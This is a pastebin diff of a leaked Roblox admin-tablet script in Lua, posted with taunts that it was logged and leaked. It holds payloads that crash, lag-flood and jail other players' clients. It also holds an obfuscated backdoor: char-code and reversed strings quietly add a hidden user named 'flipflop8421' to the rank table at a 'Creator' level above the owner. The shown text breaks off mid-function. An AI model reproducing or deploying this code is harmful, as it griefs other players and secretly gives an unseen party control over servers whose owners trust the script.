View difference between Paste ID: gGBZDvrS and ctdXkac3
SHOW: | | - or go back to the newest paste.
1
--LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
2
---PROTECT YOUR SHT DUDE
3
----LEAKED BY ADMINTABS
4
5
6
7
8
9
10
Plrs = game:GetService("Players")
11
Work = game:GetService("Workspace")
12
Light = game:GetService("Lighting")
13
Net = game:GetService("NetworkServer")
14
Owner = "HCWARLORD" -- Change this to your name
15
AntiSteal = false
16
Removed = false
17
Bet = "!"  -- Suffix of the commands you use
18
LS = nil
19
LSSource = nil
20
OwnSource = nil
21
AntiSource = nil
22
FoundLocalScript = false
23
TryOn = false
24
LogOn = false
25
Current = game
26
Clipboard = {}
27
AlertColor = Color3.new(0, 1, 1)
28
OptionColor = Color3.new(1, 1, 1)
29
ImportantColor = Color3.new(1, 0, 1)
30
31
RankDetails = {
32
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
33
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
34
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
35
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
36
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
37
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
38
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
39
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
40
	[5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
41
}
42
43
Rankings = {
44
	{Name = "TORNADO11191", Rank = 5},
45
	{Name = "Player1", Rank = 3},
46
	{Name = "ByteDino", Rank = -1},
47
	{Name = "DarthStrantax", Rank = -1},
48
	{Name = "supersonicfan11", Rank = -1},
49
	{Name = "Om3gaPr0", Rank = -1},
50
	{Name = "DevR0BLOX", Rank = 5},
51
	{Name = "", Rank = 3},
52
	{Name = "", Rank = 3},
53
	{Name = "", Rank = 3},
54
	{Name = "", Rank = 3},
55
	{Name = "", Rank = 3},
56
	{Name = "", Rank = 3},
57
	{Name = "", Rank = 3},
58
	{Name = "", Rank = 3},
59
	{Name = "", Rank = 3},
60
	{Name = "", Rank = 3},
61
	{Name = "", Rank = 3},
62
	{Name = "", Rank = 3},
63
	{Name = "", Rank = 3},
64
	{Name = "", Rank = 3},
65
	{Name = "", Rank = 3},
66
	{Name = "", Rank = 3},
67
	{Name = "", Rank = 3},
68
	{Name = "", Rank = 3},
69
	{Name = "", Rank = 3},
70
	{Name = "", Rank = 3},
71
	{Name = "", Rank = 3},
72
	{Name = "", Rank = 3},
73
	{Name = "", Rank = 3},
74
	{Name = "", Rank = 3},
75
	{Name = "", Rank = 3},
76
}
77
78
table.insert(Rankings, {Name = Owner, Rank = 5})
79
80
ImportantServices = {
81
	"Workspace",
82
	"Players",
83
	"NetworkServer",
84
	"Lighting",
85
	"StarterGui",
86
	"Teams",
87
	"StarterPack",
88
}
89
90
Ranks = {}
91
Commands = {}
92
AllTabs = {}
93
Injected = {}
94
95
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
96
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
97
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
98
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
99
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
100
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
101
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
102
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
103
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
104
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
105
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
106
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
107
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
108
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
109
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
110
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
111
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
112
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
113
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
114
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
115
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
116
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
117
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
118
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
119
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
120
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
121
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
122
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
123
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
124
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
125
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
126
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
127
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
128
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
129
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
130
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
131
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
132
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
133
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
134
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
135
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
136
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
137
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
138
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
139
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
140
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
141
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
142
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
143
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
144
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
145
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
146
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
147
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
148
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
149
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
150
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
151
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
152
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
153
"X","Y"}
154
155
--Main Functions And Sources
156
157
function Insert(Source, Par, Par2, Par3)
158
	ypcall(function()
159
		local Inserted = LS:Clone()
160
		Inserted.Disabled = true
161
		Inserted.Parent = Par or Par2 or Par3
162
		Inserted[LSSource].Value = Source
163
		Inserted.Disabled = false
164
	end)
165
end
166
167
function CheckImportant(Name)
168
	for _,v in pairs(ImportantServices) do
169
		if v:lower() == Name:lower() then
170
			return true
171
		end
172
	end
173
	return false
174
end
175
176
function Crash1(Plr)
177
	ypcall(function()
178
		Plr:Kick()
179
	end)
180
end
181
182
function GetRankTab()
183
	return Rankings
184
end
185
186
function Crash2(Name)
187
	local Crasher = Instance.new("StringValue")
188
	Crasher.Name = "Client"
189
	Crasher.Value = string.lower(tostring(Name))
190
	Crasher.Parent = game:GetService("Lighting")
191
	wait(1)
192
	if Crasher and Crasher.Parent then
193
		ypcall(function()
194
			Crasher:Destroy()
195
		end)
196
	end
197
end
198
199
function Crash3(v, Speaker)
200
	Speaker.Character.Archivable = true
201
	local NChar = Speaker.Character:Clone()
202
	NChar.Name = v.Name
203
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
204
	NChar.Parent = Workspace
205
	v.Character = NChar
206
	coroutine.resume(coroutine.create(function()
207
		repeat v.Character = NChar
208
		wait(1/3) until false
209
	end))
210
	wait(.5)
211
	Insert(InsertCrash, NChar, nil, nil)
212
end
213
214
function GenerateDigit()
215
	return 1 + 5
216
end
217
218
InjectionCrash = [=[
219
	wait(0)
220
	script.Parent = nil
221
	local Lig = game:GetService("Lighting")
222
	local LP = game:GetService("Players").LocalPlayer
223
	local LowerName = LP.Name:lower()
224
225
	Lig.ChildAdded:connect(function(Obj)
226
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
227
			pcall(function()
228
				Obj:Destroy()
229
			end)
230
			LP.Parent = nil
231
			LP.Parent = game:GetService("Players")
232
		end
233
	end)
234
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
235
236
InsertCrash = [==[
237
	local LP = game:GetService("Players").LocalPlayer
238
	LP.Parent = nil
239
	LP.Parent = game:GetService("Players")
240
]==]
241
242
LagSource = [==[
243
	wait(0)
244
	script.Parent = nil
245
	plr = game:GetService("Players").LocalPlayer
246
	local plrgui = plr:findFirstChild("PlayerGui")
247
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
248
	while plr.Parent == game:GetService("Players") do
249
	wait()
250
	for i = 1, 1000 do
251
	local sc = Instance.new("ScreenGui",plrgui)
252
	local fr = Instance.new("TextLabel",sc)
253
	fr.Text = "LAGGING"
254
	fr.Size = UDim2.new(1, 0, 1, 0)
255
	fr.FontSize = "Size48"
256
	end
257
	end
258
]==]
259
260
MuteSource = [==[
261
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
262
]==]
263
264
UnMuteSource = [==[
265
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
266
]==]
267
268
JailSource = [==[
269
	wait(0)
270
	script.Parent = nil
271
272
	local LP = game:GetService("Players").LocalPlayer
273
	Middle2 = nil
274
	Middle = nil
275
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
276
277
	Cons = {}
278
279
	function makePrison()
280
		for _,v in pairs(Cons) do
281
			v:disconnect()
282
		end
283
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
284
		if Middle == nil then
285
			Middle2 = LP.Character.Torso.Position
286
			Middle = LP.Character.Torso.CFrame
287
		end
288
		local side1 = Instance.new("Part",Workspace)
289
		side1.Name = "¬Focus1¬"
290
		side1.Size = Vector3.new(20, 50, 1)
291
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
292
		side1.BrickColor = BrickColor.new("Really black")
293
		side1.CanCollide = true
294
		side1.Anchored = true
295
		side1.TopSurface = "Smooth"
296
		side1.BottomSurface = "Smooth"
297
		side1.Parent = game:GetService("Workspace").CurrentCamera
298
299
		local side2 = Instance.new("Part")
300
		side2.Name = "¬Focus2¬"
301
		side2.Size = Vector3.new(20, 50, 1)
302
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
303
		side2.BrickColor = BrickColor.new("Really black")
304
		side2.CanCollide = true
305
		side2.Anchored = true
306
		side2.TopSurface = "Smooth"
307
		side2.BottomSurface = "Smooth"
308
		side2.Parent = game:GetService("Workspace").CurrentCamera
309
310
		local side3 = Instance.new("Part")
311
		side3.Name = "¬Focus3¬"
312
		side3.Size = Vector3.new(1, 50, 20)
313
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
314
		side3.BrickColor = BrickColor.new("Really black")
315
		side3.CanCollide = true
316
		side3.Anchored = true
317
		side3.TopSurface = "Smooth"
318
		side3.BottomSurface = "Smooth"
319
		side3.Parent = game:GetService("Workspace").CurrentCamera
320
321
		local side4 = Instance.new("Part")
322
		side4.Name = "¬Focus4¬"
323
		side4.Size = Vector3.new(1, 50, 20)
324
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
325
		side4.BrickColor = BrickColor.new("Really black")
326
		side4.CanCollide = true
327
		side4.Anchored = true
328
		side4.TopSurface = "Smooth"
329
		side4.BottomSurface = "Smooth"
330
		side4.Parent = game:GetService("Workspace").CurrentCamera
331
		
332
		local side5 = Instance.new("Part")
333
		side5.Name = "¬Focus5¬"
334
		side5.Size = Vector3.new(20, 1, 20)
335
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
336
		side5.BrickColor = BrickColor.new("Really black")
337
		side5.CanCollide = true
338
		side5.Anchored = true
339
		side5.TopSurface = "Smooth"
340
		side5.BottomSurface = "Smooth"
341
		side5.Parent = game:GetService("Workspace").CurrentCamera
342
		
343
		wait(0)
344
345
		table.insert(Cons, side1.Changed:connect(makePrison))
346
		table.insert(Cons, side2.Changed:connect(makePrison))
347
		table.insert(Cons, side3.Changed:connect(makePrison))
348
		table.insert(Cons, side4.Changed:connect(makePrison))
349
		table.insert(Cons, side5.Changed:connect(makePrison))
350
	end
351
352
	Delay(0, function()
353
		while wait(0) do
354
			ypcall(function()
355
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
356
					LP.Character:BreakJoints()
357
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
358
					makePrison()
359
				end
360
			end)
361
			ypcall(function()
362
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
363
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
364
				end
365
			end)
366
		end
367
	end)
368
]==]
369
370
function All()
371
	local AllPlayers = {}
372
	for _,v in pairs(Plrs:GetPlayers()) do
373
		ypcall(function()
374
			table.insert(AllPlayers, v)
375
		end)
376
	end
377
	return AllPlayers
378
end
379
380
function All2()
381
	local AllPlayers2 = {}
382
	for i,v in pairs(Net:GetChildren()) do
383
		ypcall(function()
384
			if v:IsA("ServerReplicator") then
385
				table.insert(AllPlayers2, v:GetPlayer())
386
			end
387
		end)
388
	end
389
	return AllPlayers2
390
end
391
392
function MakeNum()
393
	return 2 + 4
394
end
395
396
function ChangeRank(Plr, NewRank)
397
	local PlrName = nil
398
	local FoundPlayer = false
399
	ypcall(function()
400
		if type(Plr) == "string" then
401
			ypcall(function()
402
				for i,v in pairs(Rankings) do
403
					if v.Name:lower() == Plr:lower() then
404
						local VName = v.Name
405
						Rankings[i] = nil
406
						table.insert(Rankings, {Name = VName, Rank = NewRank})
407
						PlrName = VName
408
						FoundPlayer = true
409
						break
410
					end
411
				end
412
			end)
413
			if FoundPlayer == false then
414
				ypcall(function()
415
					for _,x in pairs(All()) do
416
						if x.Name:lower() == Plr:lower() then
417
							FoundPlayer = true
418
							for i,v in pairs(Rankings) do
419
								if v.Name:lower() == x.Name:lower() then
420
									local VName = x.Name
421
									Rankings[i] = nil
422
									PlrName = VName
423
									break
424
								end
425
							end
426
							table.insert(Rankings, {Name = VName, Rank = NewRank})
427
						end
428
					end
429
				end)
430
			end
431
			if FoundPlayer == false then
432
				ypcall(function()
433
					for _,x in pairs(All()) do
434
						if string.find(x.Name:lower(), Plr:lower()) then
435
							FoundPlayer = true
436
							for i,v in pairs(Rankings) do
437
								if v.Name:lower() == x.Name:lower() then
438
									local VName = x.Name
439
									Rankings[i] = nil
440
									PlrName = VName
441
									break
442
								end
443
							end
444
							table.insert(Rankings, {Name = VName, Rank = NewRank})
445
						end
446
					end
447
				end)
448
			end
449
			if FoundPlayer == false then
450
				ypcall(function()
451
					for i,v in pairs(Rankings) do
452
						if string.find(v.Name:lower(), Plr:lower()) then
453
							local VName = v.Name
454
							Rankings[i] = nil
455
							table.insert(Rankings, {Name = VName, Rank = NewRank})
456
							PlrName = VName
457
							FoundPlayer = true
458
							break
459
						end
460
					end
461
				end)
462
			end
463
		else
464
			for i,v in pairs(Rankings) do
465
				if v.Name:lower() == Plr.Name:lower() then
466
					Rankings[i] = nil
467
					break
468
				end
469
			end
470
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
471
			PlrName = Plr.Name
472
		end
473
		PlaceAllRanks(true)
474
	end)
475
	if PlrName ~= nil then
476
		return PlrName
477
	else
478
		return "Player" -- Actually return this script casue it suks
479
	end
480
end
481
482
function Refresh(Plr)
483
	MakeChildren(Plr)
484
end
485
486
function MakeChildren(Plr)
487
	ypcall(function()
488
		Dismiss(Plr)
489
		for _,v in pairs(Current:GetChildren()) do
490
			ypcall(function()
491
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
492
					Ping(v.Name, Plr, nil, function(TabMod)
493
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
494
						for _,v in pairs(Current:GetChildren()) do
495
							ypcall(function()
496
								if v.Name == TabText then
497
									Dismiss(Plr)
498
									Current = v
499
									MakeChildren(Plr)
500
								end
501
							end)
502
						end
503
					end)
504
				elseif Plrs:GetPlayerFromCharacter(v) then
505
					Ping(v.Name, Plr, nil, function(TabMod)
506
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
507
						for _,v in pairs(Current:GetChildren()) do
508
							ypcall(function()
509
								if v.Name == TabText then
510
									Dismiss(Plr)
511
									Current = v
512
									MakeChildren(Plr)
513
								end
514
							end)
515
						end
516
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
517
				elseif CheckImportant(v.Name) then
518
					Ping(v.Name, Plr, nil, function(TabMod)
519
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
520
						for _,v in pairs(Current:GetChildren()) do
521
							ypcall(function()
522
								if v.Name == TabText then
523
									Dismiss(Plr)
524
									Current = v
525
									MakeChildren(Plr)
526
								end
527
							end)
528
						end
529
					end, ImportantColor)
530
				end
531
			end)
532
		end
533
		if Current ~= game then
534
			Ping("Back", Plr, nil, function()
535
				ypcall(function()
536
					Current = Current.Parent
537
					MakeChildren(Plr)
538
					Ping("You Are Back To "..Current.Name, Plr, 5)
539
				end)
540
			end, OptionColor)
541
		end
542
		if Current ~= game then
543
			Ping("Delete", Plr, nil, function()
544
				ypcall(function()
545
					local CurrPar = Current.Parent or game
546
					local CurrName = Current.Name
547
					Current:Destroy()
548
					Current = CurrPar
549
					MakeChildren(Plr)
550
					Ping("Attempted To Delete "..CurrName, Plr, 5)
551
				end)
552
			end, OptionColor)
553
		end
554
		Ping("Refresh", Plr, nil, function()
555
			ypcall(function()
556
				Refresh(Plr)
557
				Ping("Refreshed", Plr, 5)
558
			end)
559
		end, OptionColor)
560
		Ping("Properties", Plr, nil, function()
561
			ypcall(function()
562
				Dismiss(Plr)
563
				for Property, Value in pairs(GetProperties(Current)) do
564
					Ping(tostring(Property)..": "..tostring(Value), Plr)
565
				end
566
				Ping("Got All Available Properties", Plr, 5)
567
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
568
			end)
569
		end, OptionColor)
570
	end)
571
end
572
573
function Fixl()
574
	Light.GlobalShadows = true
575
	Light.TimeOfDay = "14:00:00"
576
	Light.Brightness = 0.5
577
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
578
	Light.Ambient = Color3.new(1, 1, 1) 
579
	Light.ColorShift_Top = Color3.new(0, 0, 0)
580
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
581
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
582
	Light.FogStart = 0
583
	Light.FogEnd = 100000
584
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
585
	Light:ClearAllChildren()
586
end
587
588
function GetProperties(obj)
589
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
590
	local objProper = {}
591
	for i,v in pairs(Properties) do
592
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
593
			objProper[v] = obj[v]
594
		end
595
	end
596
	return objProper
597
end
598
599
function MakeExplorer(Plr)
600
	Dismiss(Plr)
601
	Current = game
602
	for _,v in pairs(Current:GetChildren()) do
603
		ypcall(function()
604
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
605
				Ping(v.Name, Plr, nil, function(TabMod)
606
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
607
					for _,v in pairs(Current:GetChildren()) do
608
						ypcall(function()
609
							if v.Name == TabText then
610
								Dismiss(Plr)
611
								Current = v
612
								MakeChildren(Plr)
613
							end
614
						end)
615
					end
616
				end)
617
			elseif Plrs:GetPlayerFromCharacter(v) then
618
				Ping(v.Name, Plr, nil, function(TabMod)
619
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
620
					for _,v in pairs(Current:GetChildren()) do
621
						ypcall(function()
622
							if v.Name == TabText then
623
								Dismiss(Plr)
624
								Current = v
625
								MakeChildren(Plr)
626
							end
627
						end)
628
					end
629
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
630
			elseif CheckImportant(v.Name) then
631
				Ping(v.Name, Plr, nil, function(TabMod)
632
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
633
					for _,v in pairs(Current:GetChildren()) do
634
						ypcall(function()
635
							if v.Name == TabText then
636
								Dismiss(Plr)
637
								Current = v
638
								MakeChildren(Plr)
639
							end
640
						end)
641
					end
642
				end, ImportantColor)
643
			end
644
		end)
645
	end
646
	if Current ~= game then
647
		Ping("Back", Plr, nil, function()
648
			ypcall(function()
649
				Current = Current.Parent
650
				MakeChildren(Plr)
651
				Ping("Back In "..Current.Name, Plr, 5)
652
			end)
653
		end, OptionColor)
654
	end
655
	if Current ~= game and game:GetService(Current.Name) == nil then
656
		Ping("Delete", Plr, nil, function()
657
			ypcall(function()
658
				local CurrPar = Current.Parent or game
659
				local CurrName = Current.Name
660
				Current:Destroy()
661
				Current = CurrPar
662
				MakeChildren(Plr)
663
				Ping("Attempted To Delete "..CurrName, Plr, 5)
664
			end)
665
		end, OptionColor)
666
	end
667
	Ping("Refresh", Plr, nil, function()
668
		ypcall(function()
669
			Refresh(Plr)
670
			Ping("Refreshed", Plr, 5)
671
		end)
672
	end, OptionColor)
673
	Ping("Properties", Plr, nil, function()
674
		ypcall(function()
675
			Dismiss(Plr)
676
			for Property, Value in pairs(GetProperties(Current)) do
677
				Ping(tostring(Property)..": "..tostring(Value), Plr)
678
			end
679
			Ping("Got All Available Properties", Plr, 5)
680
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
681
		end)
682
	end, OptionColor)
683
end
684
685
function GetRank(Plr1, Test)
686
	ypcall(function()
687
		if type(Plr1) == "userdata" then
688
			Plr1 = Plr1.Name
689
		end
690
	end)
691
	if Ranks[Plr1] ~= nil then
692
		return Ranks[Plr1]
693
	end
694
	local QuickArray = {}
695
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
696
	return QuickArray[Plr1]
697
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
698
699
function CanRun(Plr1, Plr2)
700
	Details1 = GetRank(Plr1.Name)
701
	Details2 = GetRank(Plr2.Name)
702
	if Details1.Rank >= Details2.Rank then
703
		return true
704
	end
705
	return false
706
end
707
708
function Dismiss(Plr, Identity)
709
	ypcall(function()
710
		if Plr ~= nil then
711
			if type(Plr) == "userdata" then
712
				Plr = Plr.Name
713
			end
714
			for x,v in pairs(AllTabs) do
715
				ypcall(function()
716
					if v.Plr == Plr then
717
						if Identity ~= nil and v.ID ~= Identity then
718
							return
719
						elseif Identity ~= nil and v.ID == Identity then
720
							coroutine.resume(coroutine.create(function()
721
								for i = 0.5, 1, 0.1 do
722
									wait()
723
									v.Tab.Transparency = i
724
									v.Sel.Transparency = i
725
									v.Label.TextTransparency = i
726
									v.Label.TextStrokeTransparency = i
727
								end
728
								ypcall(function() v.Holder:Destroy() end)
729
								AllTabs[x] = nil
730
							end))
731
						elseif Identity == nil then
732
							ypcall(function() v.Holder:Destroy() end)
733
							AllTabs[x] = nil
734
						end
735
					end
736
				end)
737
			end
738
		else
739
			for i,v in pairs(AllTabs) do
740
				ypcall(function()
741
					v.Holder:Destroy()
742
					AllTabs[i] = nil
743
				end)
744
			end
745
		end
746
	end)
747
end
748
749
function GetGarbage()
750
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
751
end
752
753
function RemObj(Obj, Class)
754
	ypcall(function()
755
		if #Obj:GetChildren() > 0 then
756
			for _,x in pairs(Obj:GetChildren()) do
757
				ypcall(function()
758
					RemObj(x, Class)
759
				end)
760
			end
761
		end
762
		if Obj.ClassName == Class then
763
			Obj:Destroy()
764
		end
765
	end)
766
end
767
768
function FindTab(Mod)
769
	for i,v in pairs(AllTabs) do
770
		if v.Holder == Mod then
771
			return true
772
		end
773
	end
774
	return false
775
end
776
777
function Ping(Msg, Plr, Time, Func, Color, Image)
778
	if Removed == false then
779
		local ShowGarbage = false
780
		ypcall(function()
781
			if Msg == nil then
782
				Msg = "N/A"
783
			elseif Msg == "ShowGarbage" then
784
				Msg = "Current Garbage Count: "..GetGarbage()
785
				ShowGarbage = true
786
			else
787
				Msg = tostring(Msg)
788
			end
789
			if Plr == nil then
790
				Plr = Plrs[Owner] or error("No Player Found")
791
			elseif type(Plr) == "string" then
792
				local FoundPlr = false
793
				for _,v in pairs(All()) do
794
					if v.Name == Plr then
795
						Plr = v
796
						FoundPlr = true
797
						break
798
					end
799
				end
800
				if FoundPlr == false then
801
					Plr = Plrs[Owner] or error("No Player Found")
802
				end
803
			end
804
			
805
			if Color == nil then
806
				Color = GetRank(Plr.Name).Color
807
			end
808
			
809
			local Holder = Instance.new("Model")
810
			Holder.Name = "LORD Holder: "..Plr.Name
811
			
812
			local Tab = Instance.new("Part")
813
			Tab.Name = "LORD Tablet"
814
			Tab.FormFactor = "Custom"
815
			Tab.Anchored = true
816
			if Time == nil then
817
				Tab.Color = Color
818
			else
819
				Tab.Color = AlertColor
820
			end
821
			Tab.CanCollide = false
822
			Tab.Locked = true
823
			Tab.Transparency = 0.15
824
			Tab.Size = Vector3.new(2, 2, 0.01)
825
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
826
			Tab.Parent = Holder
827
			
828
			local ID = Instance.new("NumberValue")
829
			ID.Name = "ID"
830
			ID.Value = math.random(-999999999, 999999999)
831
			ID.Parent = Holder
832
			
833
			Delay(0, function()
834
				while wait() do
835
					if Tab.Parent == nil and FindTab(Holder) then
836
						ypcall(function()
837
							for i,v in pairs(AllTabs) do
838
								if v.Holder == Holder then
839
									ypcall(function() v.Holder:Destroy() end)
840
									AllTabs[i] = nil
841
								end
842
							end
843
						end)
844
						Ping(Msg, Plr, Time, Func, Color, Image)
845
						break
846
					end
847
				end
848
			end)
849
			
850
			local BM = Instance.new("BlockMesh")
851
			BM.Parent = Tab
852
853
			Sel = Instance.new("SelectionBox")
854
			Sel.Color = BrickColor.new("Blue")
855
